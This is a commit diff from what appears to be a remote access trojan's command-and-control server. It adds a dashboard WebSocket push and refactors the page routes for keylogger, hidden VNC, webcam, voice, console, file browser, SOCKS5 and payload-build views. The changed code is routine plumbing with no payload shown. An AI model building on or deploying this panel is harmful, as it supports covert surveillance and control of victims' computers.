vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

feat: dashboard WebSocket push + page-routes refactor

Browse Source
This commit is contained in:
unknown
2026-03-17 14:30:43 +01:00
parent 1631801232
commit af6706ea81
8 changed files with 282 additions and 347 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Overlord-Server/public/assets/data.js
+65 -1
View File
@@ -2,9 +2,13 @@ import { state } from "./state.js";
import { digestData } from "./utils.js"; import { digestData } from "./utils.js";
const POLL_INTERVAL_MS = 5000; const POLL_INTERVAL_MS = 5000;
const FALLBACK_POLL_MS = 30000;
const PREF_REFRESH_KEY = "overlord_refresh_interval_seconds"; const PREF_REFRESH_KEY = "overlord_refresh_interval_seconds";
let pollTimer = null; let pollTimer = null;
let render = () => {}; let render = () => {};
let dashboardWs = null;
let dashboardWsConnected = false;
let wsReconnectTimer = null;
export function registerRenderer(fn) { export function registerRenderer(fn) {
render = fn; render = fn;
@@ -100,8 +104,68 @@ function getConfiguredPollIntervalMs(defaultMs) {
return boundedSeconds * 1000; return boundedSeconds * 1000;
} }
function connectDashboardWs() {
if (dashboardWs) return;
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
const wsUrl = `${protocol}//${window.location.host}/api/dashboard/ws`;
try {
dashboardWs = new WebSocket(wsUrl);
} catch {
scheduleDashboardReconnect();
return;
}
dashboardWs.onopen = () => {
console.log("[dashboard] ws connected");
dashboardWsConnected = true;
adjustPollingForWs();
};
dashboardWs.onmessage = (event) => {
try {
const msg = typeof event.data === "string" ? JSON.parse(event.data) : null;
if (msg && msg.type === "clients_changed") {
loadWithOptions({ force: false });
}
} catch {}
};
dashboardWs.onclose = () => {
console.warn("[dashboard] ws closed");
dashboardWs = null;
dashboardWsConnected = false;
adjustPollingForWs();
scheduleDashboardReconnect();
};
dashboardWs.onerror = () => {
console.warn("[dashboard] ws error");
};
}
function scheduleDashboardReconnect() {
if (wsReconnectTimer) return;
wsReconnectTimer = setTimeout(() => {
wsReconnectTimer = null;
connectDashboardWs();
}, 3000);
}
function adjustPollingForWs() {
clearInterval(pollTimer);
const interval = dashboardWsConnected
? FALLBACK_POLL_MS
: getConfiguredPollIntervalMs(POLL_INTERVAL_MS);
pollTimer = setInterval(() => {
loadWithOptions({ force: false });
}, interval);
}
export function startAutoRefresh(intervalMs = POLL_INTERVAL_MS) { export function startAutoRefresh(intervalMs = POLL_INTERVAL_MS) {
const effectiveInterval = getConfiguredPollIntervalMs(intervalMs); connectDashboardWs();
const effectiveInterval = dashboardWsConnected
? FALLBACK_POLL_MS
: getConfiguredPollIntervalMs(intervalMs);
clearInterval(pollTimer); clearInterval(pollTimer);
pollTimer = setInterval(() => { pollTimer = setInterval(() => {
loadWithOptions({ force: false }); loadWithOptions({ force: false });
Overlord-Server/src/main-server.ts
+12
View File
@@ -416,6 +416,17 @@ async function startServer() {
handleProcessViewerOpen, handleProcessViewerOpen,
handleKeyloggerViewerOpen, handleKeyloggerViewerOpen,
handleVoiceViewerOpen, handleVoiceViewerOpen,
handleDashboardViewerOpen: (ws: import("bun").ServerWebSocket<SocketData>) => {
const id = crypto.randomUUID();
ws.data.sessionId = id;
sessionManager.addDashboardSession({
id,
viewer: ws,
createdAt: Date.now(),
userId: ws.data.userId,
userRole: ws.data.userRole,
});
},
handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen, handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen,
handleConsoleViewerMessage, handleConsoleViewerMessage,
handleRemoteDesktopViewerMessage, handleRemoteDesktopViewerMessage,
@@ -456,6 +467,7 @@ async function startServer() {
clearPendingNotificationScreenshots: notificationPluginHandlers.clearPendingNotificationScreenshots, clearPendingNotificationScreenshots: notificationPluginHandlers.clearPendingNotificationScreenshots,
notifyRemoteDesktopStatus, notifyRemoteDesktopStatus,
handleBuildTagConnection, handleBuildTagConnection,
notifyDashboard: sessionManager.notifyDashboardViewers,
}; };
const server = Bun.serve<SocketData>({ const server = Bun.serve<SocketData>({
Overlord-Server/src/server/routes/client-routes.ts
+4
View File
@@ -26,6 +26,7 @@ import {
getUserClientAccessScope, getUserClientAccessScope,
listUserClientRuleIdsByAccess, listUserClientRuleIdsByAccess,
} from "../../users"; } from "../../users";
import { notifyDashboardViewers } from "../../sessions/sessionManager";
type RequestIpProvider = { type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined; requestIP: (req: Request) => { address?: string } | null | undefined;
@@ -275,6 +276,7 @@ export async function handleClientRoutes(
} }
deleteClientRow(targetId); deleteClientRow(targetId);
notifyDashboardViewers();
const ip = server.requestIP(req)?.address || "unknown"; const ip = server.requestIP(req)?.address || "unknown";
logAudit({ logAudit({
@@ -331,6 +333,7 @@ export async function handleClientRoutes(
if (!updated) { if (!updated) {
return Response.json({ error: "Client not found" }, { status: 404 }); return Response.json({ error: "Client not found" }, { status: 404 });
} }
notifyDashboardViewers();
const ip = server.requestIP(req)?.address || "unknown"; const ip = server.requestIP(req)?.address || "unknown";
logAudit({ logAudit({
@@ -389,6 +392,7 @@ export async function handleClientRoutes(
if (!updated) { if (!updated) {
return Response.json({ error: "Client not found" }, { status: 404 }); return Response.json({ error: "Client not found" }, { status: 404 });
} }
notifyDashboardViewers();
const ip = server.requestIP(req)?.address || "unknown"; const ip = server.requestIP(req)?.address || "unknown";
logAudit({ logAudit({
Overlord-Server/src/server/routes/page-routes.ts
+124 -338
View File
@@ -1,5 +1,5 @@
import { authenticateRequest } from "../../auth"; import { authenticateRequest } from "../../auth";
import { requirePermission } from "../../rbac"; import { requirePermission, type Permission } from "../../rbac";
import { canUserAccessClient, getUserById, type UserRole } from "../../users"; import { canUserAccessClient, getUserById, type UserRole } from "../../users";
type PageRouteDeps = { type PageRouteDeps = {
@@ -32,24 +32,108 @@ async function serveChangePasswordIfRequired(
return null; return null;
} }
async function serveFile(deps: PageRouteDeps, htmlFile: string): Promise<Response | null> {
const file = Bun.file(`${deps.PUBLIC_ROOT}/${htmlFile}`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType(htmlFile)) });
}
return null;
}
// ---- Page definitions ----
type AccessLevel = "any" | "no-viewer" | "admin" | "admin-or-operator";
type StaticPageDef = {
path: string;
file: string;
access: AccessLevel;
permission?: Permission;
checkPasswordChange?: boolean;
};
type ClientPageDef = {
pattern: RegExp;
file: string;
clientIdGroup: number;
};
type QueryClientPageDef = {
path: string;
file: string;
};
/** Static pages: each entry maps a URL path to its HTML file + access rules. */
const STATIC_PAGES: StaticPageDef[] = [
{ path: "/metrics", file: "metrics.html", access: "any", checkPasswordChange: true },
{ path: "/settings", file: "settings.html", access: "any", checkPasswordChange: true },
{ path: "/logs", file: "logs.html", access: "any", checkPasswordChange: true, permission: "audit:view" },
{ path: "/notifications", file: "notifications.html", access: "admin-or-operator", checkPasswordChange: true },
{ path: "/users", file: "users.html", access: "admin", checkPasswordChange: true },
{ path: "/user-client-access", file: "user-client-access.html", access: "admin", checkPasswordChange: true },
{ path: "/build", file: "build.html", access: "admin-or-operator" },
{ path: "/plugins", file: "plugins.html", access: "admin-or-operator" },
{ path: "/scripts", file: "scripts.html", access: "no-viewer" },
{ path: "/deploy", file: "deploy.html", access: "admin" },
{ path: "/socks5-manager", file: "socks5-manager.html", access: "no-viewer", checkPasswordChange: true },
];
/** Client-scoped pages accessed via query param ?clientId=... */
const QUERY_CLIENT_PAGES: QueryClientPageDef[] = [
{ path: "/remotedesktop", file: "remotedesktop.html" },
{ path: "/webcam", file: "webcam.html" },
{ path: "/hvnc", file: "hvnc.html" },
{ path: "/voice", file: "voice.html" },
];
/** Client-scoped pages accessed via path /:clientId/feature */
const PATH_CLIENT_PAGES: ClientPageDef[] = [
{ pattern: /^\/(.+)\/console$/, file: "console.html", clientIdGroup: 1 },
{ pattern: /^\/(.+)\/files$/, file: "filebrowser.html", clientIdGroup: 1 },
{ pattern: /^\/(.+)\/processes$/, file: "processes.html", clientIdGroup: 1 },
{ pattern: /^\/(.+)\/keylogger$/, file: "keylogger.html", clientIdGroup: 1 },
];
function checkAccess(role: UserRole, access: AccessLevel): Response | null {
switch (access) {
case "any":
return null;
case "no-viewer":
if (role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
return null;
case "admin":
if (role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
return null;
case "admin-or-operator":
if (role !== "admin" && role !== "operator") {
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
return null;
}
}
export async function handlePageRoutes( export async function handlePageRoutes(
req: Request, req: Request,
url: URL, url: URL,
deps: PageRouteDeps, deps: PageRouteDeps,
): Promise<Response | null> { ): Promise<Response | null> {
if (req.method !== "GET") return null;
const canAccessClientPage = (userId: number, role: UserRole, clientId: string): boolean => { const canAccessClientPage = (userId: number, role: UserRole, clientId: string): boolean => {
if (!clientId) return false; if (!clientId) return false;
return canUserAccessClient(userId, role, clientId); return canUserAccessClient(userId, role, clientId);
}; };
if (req.method === "GET" && (url.pathname === "/" || url.pathname === "/index.html")) { // ---- Root / index ----
if (url.pathname === "/" || url.pathname === "/index.html") {
const authed = await authenticateRequest(req); const authed = await authenticateRequest(req);
if (authed) { if (authed) {
const maybeChange = await serveChangePasswordIfRequired(deps, authed.userId); const maybeChange = await serveChangePasswordIfRequired(deps, authed.userId);
if (maybeChange) return maybeChange; if (maybeChange) return maybeChange;
} }
const filePath = authed ? "/index.html" : "/login.html"; const filePath = authed ? "/index.html" : "/login.html";
const file = Bun.file(`${deps.PUBLIC_ROOT}${filePath}`); const file = Bun.file(`${deps.PUBLIC_ROOT}${filePath}`);
if (await file.exists()) { if (await file.exists()) {
@@ -57,376 +141,78 @@ export async function handlePageRoutes(
} }
} }
if (req.method === "GET" && url.pathname === "/change-password.html") { // ---- Change password (always accessible) ----
const file = Bun.file(`${deps.PUBLIC_ROOT}/change-password.html`); if (url.pathname === "/change-password.html") {
if (await file.exists()) { return serveFile(deps, "change-password.html");
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("/change-password.html")) });
}
} }
if (req.method === "GET" && url.pathname === "/remotedesktop") { // ---- Static pages (table-driven) ----
for (const page of STATIC_PAGES) {
if (url.pathname !== page.path) continue;
const user = await authenticateRequest(req); const user = await authenticateRequest(req);
if (!user) { if (!user) return serveLoginOrUnauthorized(deps);
return serveLoginOrUnauthorized(deps);
}
if (page.checkPasswordChange) {
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange; if (maybeChange) return maybeChange;
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
} }
const clientId = (url.searchParams.get("clientId") || "").trim(); const accessDenied = checkAccess(user.role, page.access);
if (!canAccessClientPage(user.userId, user.role, clientId)) { if (accessDenied) return accessDenied;
return new Response("Forbidden: Client access denied", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/remotedesktop.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("remotedesktop.html")) });
}
}
if (req.method === "GET" && url.pathname === "/webcam") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = (url.searchParams.get("clientId") || "").trim();
if (!canAccessClientPage(user.userId, user.role, clientId)) {
return new Response("Forbidden: Client access denied", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/webcam.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("webcam.html")) });
}
}
if (req.method === "GET" && url.pathname === "/hvnc") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = (url.searchParams.get("clientId") || "").trim();
if (!canAccessClientPage(user.userId, user.role, clientId)) {
return new Response("Forbidden: Client access denied", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/hvnc.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("hvnc.html")) });
}
}
if (req.method === "GET" && url.pathname === "/voice") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = (url.searchParams.get("clientId") || "").trim();
if (!canAccessClientPage(user.userId, user.role, clientId)) {
return new Response("Forbidden: Client access denied", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/voice.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("voice.html")) });
}
}
if (req.method === "GET" && url.pathname === "/metrics") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
const file = Bun.file(`${deps.PUBLIC_ROOT}/metrics.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("metrics.html")) });
}
}
if (req.method === "GET" && url.pathname === "/logs") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
if (page.permission) {
try { try {
requirePermission(user, "audit:view"); requirePermission(user, page.permission);
} catch (error) { } catch (error) {
if (error instanceof Response) return error; if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 }); return new Response("Forbidden", { status: 403 });
} }
const file = Bun.file(`${deps.PUBLIC_ROOT}/logs.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("logs.html")) });
}
} }
if (req.method === "GET" && url.pathname === "/notifications") { return serveFile(deps, page.file);
}
// ---- Client pages via query param (?clientId=...) ----
for (const page of QUERY_CLIENT_PAGES) {
if (url.pathname !== page.path) continue;
const user = await authenticateRequest(req); const user = await authenticateRequest(req);
if (!user) { if (!user) return serveLoginOrUnauthorized(deps);
return serveLoginOrUnauthorized(deps);
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden", { status: 403 });
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange; if (maybeChange) return maybeChange;
const file = Bun.file(`${deps.PUBLIC_ROOT}/notifications.html`);
if (await file.exists()) {
return new Response(file, {
headers: deps.secureHeaders(deps.mimeType("notifications.html")),
});
}
}
if (req.method === "GET" && url.pathname === "/users") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/users.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("users.html")) });
}
}
if (req.method === "GET" && url.pathname === "/user-client-access") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/user-client-access.html`);
if (await file.exists()) {
return new Response(file, {
headers: deps.secureHeaders(deps.mimeType("user-client-access.html")),
});
}
}
if (req.method === "GET" && url.pathname === "/settings") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
const file = Bun.file(`${deps.PUBLIC_ROOT}/settings.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("settings.html")) });
}
}
if (req.method === "GET" && url.pathname === "/build") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/build.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("build.html")) });
}
}
if (req.method === "GET" && url.pathname === "/plugins") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/plugins.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("plugins.html")) });
}
}
const consolePageMatch = url.pathname.match(/^\/(.+)\/console$/);
if (req.method === "GET" && consolePageMatch) {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role === "viewer") { if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
} }
if (!canAccessClientPage(user.userId, user.role, consolePageMatch[1])) {
const clientId = (url.searchParams.get("clientId") || "").trim();
if (!canAccessClientPage(user.userId, user.role, clientId)) {
return new Response("Forbidden: Client access denied", { status: 403 }); return new Response("Forbidden: Client access denied", { status: 403 });
} }
const file = Bun.file(`${deps.PUBLIC_ROOT}/console.html`);
if (await file.exists()) { return serveFile(deps, page.file);
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("console.html")) });
}
} }
const filesPageMatch = url.pathname.match(/^\/(.+)\/files$/); // ---- Client pages via path (/:clientId/feature) ----
if (req.method === "GET" && filesPageMatch) { for (const page of PATH_CLIENT_PAGES) {
const match = url.pathname.match(page.pattern);
if (!match) continue;
const user = await authenticateRequest(req); const user = await authenticateRequest(req);
if (!user) { if (!user) return serveLoginOrUnauthorized(deps);
return serveLoginOrUnauthorized(deps);
}
if (user.role === "viewer") { if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
} }
if (!canAccessClientPage(user.userId, user.role, filesPageMatch[1])) {
const clientId = match[page.clientIdGroup];
if (!canAccessClientPage(user.userId, user.role, clientId)) {
return new Response("Forbidden: Client access denied", { status: 403 }); return new Response("Forbidden: Client access denied", { status: 403 });
} }
const file = Bun.file(`${deps.PUBLIC_ROOT}/filebrowser.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("filebrowser.html")) });
}
}
const processesPageMatch = url.pathname.match(/^\/(.+)\/processes$/); return serveFile(deps, page.file);
if (req.method === "GET" && processesPageMatch) {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
if (!canAccessClientPage(user.userId, user.role, processesPageMatch[1])) {
return new Response("Forbidden: Client access denied", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/processes.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("processes.html")) });
}
}
const keyloggerPageMatch = url.pathname.match(/^\/(.+)\/keylogger$/);
if (req.method === "GET" && keyloggerPageMatch) {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
if (!canAccessClientPage(user.userId, user.role, keyloggerPageMatch[1])) {
return new Response("Forbidden: Client access denied", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/keylogger.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("keylogger.html")) });
}
}
if (req.method === "GET" && url.pathname === "/socks5-manager") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
const file = Bun.file(`${deps.PUBLIC_ROOT}/socks5-manager.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("socks5-manager.html")) });
}
}
if (req.method === "GET" && url.pathname === "/scripts") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot execute scripts", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/scripts.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("scripts.html")) });
}
}
if (req.method === "GET" && url.pathname === "/deploy") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/deploy.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("deploy.html")) });
}
} }
return null; return null;
Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
+13
View File
@@ -32,6 +32,7 @@ type WsLifecycleDeps = {
hvncStreamingState: Map<string, unknown>; hvncStreamingState: Map<string, unknown>;
webcamStreamingState: Map<string, unknown>; webcamStreamingState: Map<string, unknown>;
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number }; getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
handleDashboardViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void; handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void; handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleWebcamViewerOpen: (ws: ServerWebSocket<SocketData>) => void; handleWebcamViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
@@ -81,12 +82,14 @@ type WsLifecycleDeps = {
clearPendingNotificationScreenshots: (clientId: string) => void; clearPendingNotificationScreenshots: (clientId: string) => void;
notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void; notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void;
handleBuildTagConnection: (clientId: string, buildTag: string) => void; handleBuildTagConnection: (clientId: string, buildTag: string) => void;
notifyDashboard: () => void;
}; };
export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLifecycleDeps): void { export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLifecycleDeps): void {
const role = ws.data.role as string; const role = ws.data.role as string;
const clientId = ws.data.clientId; const clientId = ws.data.clientId;
const ip = ws.data.ip; const ip = ws.data.ip;
if (role === "dashboard_viewer") return deps.handleDashboardViewerOpen(ws);
if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws); if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws);
if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws); if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws);
if (role === "webcam_viewer") return deps.handleWebcamViewerOpen(ws); if (role === "webcam_viewer") return deps.handleWebcamViewerOpen(ws);
@@ -125,6 +128,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
if (role === "client") { if (role === "client") {
deps.notifyRemoteDesktopStatus(id, "online"); deps.notifyRemoteDesktopStatus(id, "online");
metrics.recordConnection(); metrics.recordConnection();
deps.notifyDashboard();
} }
} }
@@ -154,6 +158,7 @@ export function handleWebSocketMessage(
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message); if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message); if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message);
if (socketRole === "notifications_viewer") return; if (socketRole === "notifications_viewer") return;
if (socketRole === "dashboard_viewer") return;
const { clientId, ip } = ws.data; const { clientId, ip } = ws.data;
const info = clientManager.getClient(clientId); const info = clientManager.getClient(clientId);
@@ -176,6 +181,7 @@ export function handleWebSocketMessage(
handleHello(info, payload, ws, ip); handleHello(info, payload, ws, ip);
clientManager.addClient(info.id, info); clientManager.addClient(info.id, info);
deps.dispatchAutoScriptsForConnection(info, ws); deps.dispatchAutoScriptsForConnection(info, ws);
deps.notifyDashboard();
if (info.role === "client") { if (info.role === "client") {
const wasKnown = Boolean((ws as any)?.data?.wasKnown); const wasKnown = Boolean((ws as any)?.data?.wasKnown);
logAudit({ logAudit({
@@ -201,6 +207,7 @@ export function handleWebSocketMessage(
break; break;
case "pong": case "pong":
handlePong(info, payload); handlePong(info, payload);
deps.notifyDashboard();
break; break;
case "frame": case "frame":
if ((payload as any)?.header?.fps === 0) { if ((payload as any)?.header?.fps === 0) {
@@ -447,12 +454,18 @@ export function handleWebSocketClose(
return; return;
} }
if (role === "dashboard_viewer") {
sessionManager.deleteDashboardSession(ws.data.sessionId || clientId);
return;
}
clientManager.deleteClient(clientId); clientManager.deleteClient(clientId);
stopAllProxiesForClient(clientId); stopAllProxiesForClient(clientId);
clearClientSyncState(clientId); clearClientSyncState(clientId);
deps.notifyConsoleClosed(clientId, "Client disconnected"); deps.notifyConsoleClosed(clientId, "Client disconnected");
setOnlineState(clientId, false); setOnlineState(clientId, false);
deps.clearPendingNotificationScreenshots(clientId); deps.clearPendingNotificationScreenshots(clientId);
deps.notifyDashboard();
logger.info(`[close] ${clientId} code=${code} reason=${reason}`); logger.info(`[close] ${clientId} code=${code} reason=${reason}`);
if (role === "client") { if (role === "client") {
Overlord-Server/src/server/routes/ws-upgrade-routes.ts
+12
View File
@@ -193,5 +193,17 @@ export async function handleWsUpgradeRoutes(
return new Response("Upgrade failed", { status: 500 }); return new Response("Upgrade failed", { status: 500 });
} }
if (req.method === "GET" && url.pathname === "/api/dashboard/ws") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "dashboard_viewer", clientId: "", ip, userRole: user.role, userId: user.userId } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
return null; return null;
} }
Overlord-Server/src/sessions/sessionManager.ts
+43
View File
@@ -10,6 +10,14 @@ import type {
SocketData, SocketData,
} from "./types"; } from "./types";
export type DashboardViewer = {
id: string;
viewer: ServerWebSocket<SocketData>;
createdAt: number;
userId?: number;
userRole?: string;
};
const consoleSessions = new Map<string, ConsoleSession>(); const consoleSessions = new Map<string, ConsoleSession>();
const rdSessions = new Map<string, RemoteDesktopViewer>(); const rdSessions = new Map<string, RemoteDesktopViewer>();
const webcamSessions = new Map<string, RemoteDesktopViewer>(); const webcamSessions = new Map<string, RemoteDesktopViewer>();
@@ -22,6 +30,7 @@ const processSessions = new Map<string, ProcessViewer>();
const notificationSessions = new Map<string, NotificationsViewer>(); const notificationSessions = new Map<string, NotificationsViewer>();
const keyloggerSessions = new Map<string, KeyloggerViewer>(); const keyloggerSessions = new Map<string, KeyloggerViewer>();
const voiceSessions = new Map<string, VoiceViewer>(); const voiceSessions = new Map<string, VoiceViewer>();
const dashboardSessions = new Map<string, DashboardViewer>();
function addSessionToClientIndex( function addSessionToClientIndex(
index: Map<string, Set<string>>, index: Map<string, Set<string>>,
@@ -371,3 +380,37 @@ export function getVoiceSessionsByClient(clientId: string): VoiceViewer[] {
export function getAllVoiceSessions(): Map<string, VoiceViewer> { export function getAllVoiceSessions(): Map<string, VoiceViewer> {
return voiceSessions; return voiceSessions;
} }
export function addDashboardSession(session: DashboardViewer): void {
dashboardSessions.set(session.id, session);
}
export function deleteDashboardSession(sessionId: string): boolean {
return dashboardSessions.delete(sessionId);
}
export function getAllDashboardSessions(): Map<string, DashboardViewer> {
return dashboardSessions;
}
export function getDashboardSessionCount(): number {
return dashboardSessions.size;
}
let dashboardBroadcastTimer: ReturnType<typeof setTimeout> | null = null;
const DASHBOARD_DEBOUNCE_MS = 150;
export function notifyDashboardViewers(): void {
if (dashboardBroadcastTimer) return;
dashboardBroadcastTimer = setTimeout(() => {
dashboardBroadcastTimer = null;
const msg = JSON.stringify({ type: "clients_changed" });
for (const [id, session] of dashboardSessions) {
try {
session.viewer.send(msg);
} catch {
dashboardSessions.delete(id);
}
}
}, DASHBOARD_DEBOUNCE_MS);
}
Overlord-Server/src/sessions/types.ts
+2 -1
View File
@@ -10,7 +10,8 @@ export type SocketRole =
| "process_viewer" | "process_viewer"
| "notifications_viewer" | "notifications_viewer"
| "keylogger_viewer" | "keylogger_viewer"
| "voice_viewer"; | "voice_viewer"
| "dashboard_viewer";
export type SocketData = { export type SocketData = {
role: SocketRole; role: SocketRole;